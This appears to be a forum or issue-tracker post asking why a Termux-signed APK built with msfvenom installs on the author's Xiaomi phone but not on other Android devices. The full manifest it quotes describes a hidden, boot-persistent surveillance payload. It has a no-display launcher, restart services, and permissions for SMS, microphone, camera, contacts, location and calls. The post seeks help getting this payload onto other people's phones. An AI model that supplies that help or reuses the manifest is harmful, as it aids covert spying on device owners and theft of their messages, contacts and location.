Description:
I have created and signed an APK using Termux, and it runs perfectly on my Xiaomi Note 11 Pro with Android 13. However, when I try to install it on other devices, I receive an “app not compatible” error. I have verified the APK is signed and have tried multiple methods to troubleshoot, but the issue persists.
Steps to Reproduce:
- Create the APK using msfvenom payload creation tool.
- Sign the APK using Termux with the following steps:
keytool -genkey -v -keystore /data/data/com.termux/files/home/my-release-key.jks -keyalg RSA -keysize 2048 -validity 10000 -alias new-key-alias apksigner sign --ks /data/data/com.termux/files/home/my-release-key.jks --ks-key-alias new-key-alias --ks-pass pass:your_keystore_password --key-pass pass:your_key_password --v1-signing-enabled true --v2-signing-enabled true --v3-signing-enabled true --out ./as2-signed.apk ./as2-rebuilt.apk
- Try to install the signed APK on another device with Android 13 or another version.
Expected Behavior:
The APK should install and run on any compatible Android device.
Actual Behavior:
The APK installs and runs only on my Xiaomi Note 11 Pro but fails with a compatibility error on other devices.
APK Details:
- Package Name:
nous.client
- Permissions:
<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="nous.client" > <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> <uses-permission android:name="android.permission.ACCESS_COURSE_LOCATION" /> <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" /> <uses-permission android:name="android.permission.READ_PHONE_STATE" /> <uses-permission android:name="android.permission.SEND_SMS" /> <uses-permission android:name="android.permission.RECEIVE_SMS" /> <uses-permission android:name="android.permission.RECORD_AUDIO" /> <uses-permission android:name="android.permission.CALL_PHONE" /> <uses-permission android:name="android.permission.READ_CONTACTS" /> <uses-permission android:name="android.permission.WRITE_CONTACTS" /> <uses-permission android:name="android.permission.RECORD_AUDIO" /> <uses-permission android:name="android.permission.WRITE_SETTINGS" /> <uses-permission android:name="android.permission.CAMERA" /> <uses-permission android:name="android.permission.READ_SMS" /> <uses-permission android:name="android.permission.FOREGROUND_SERVICE" /> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> <uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/> <uses-permission android:name="android.permission.WAKE_LOCK" /> <application android:label="@string/app_name" android:persistent="true" > <activity android:name="nous.client.MainActivity" android:label="@string/app_name" android:theme="@android:style/Theme.NoDisplay" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <service android:name=".RealService" android:enabled="true" android:exported="true" /> <service android:name=".RestartService" android:enabled="true" android:exported="true" /> <receiver android:name=".AlarmRecever"/> <receiver android:name=".RebootRecever" android:enabled="true" android:exported="false" android:process=":remote"> <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED" /> </intent-filter> </receiver> </application> </manifest>
Troubleshooting Steps Taken:
- Verified APK signing using
apksigner verify --verbose as2.apk
. - Checked the APK with
aapt dump badging ./as2-signed.apk
but received “assets could not be loaded” error. - Attempted multiple signing methods and re-checked compatibility settings.
Logcat Output (if applicable):
(Provide any relevant logcat output when attempting to install/run the APK on other devices)
adb logcat
Device Details:
-
Device 1 (Works):
- Model: Xiaomi Note 11 Pro
- Android Version: 13 TP1A.220624.014
-
Device 2 (Fails):
- Model: Redmi 12c
- Android Version: 14UP1A.231005.007
Questions:
- Are there any specific compatibility settings or configurations I might be missing?
- Could the issue be related to specific permissions or features declared in the manifest?
- Is there a better way to sign the APK to ensure broader compatibility?
Any help or suggestions would be greatly appreciated! Thank you!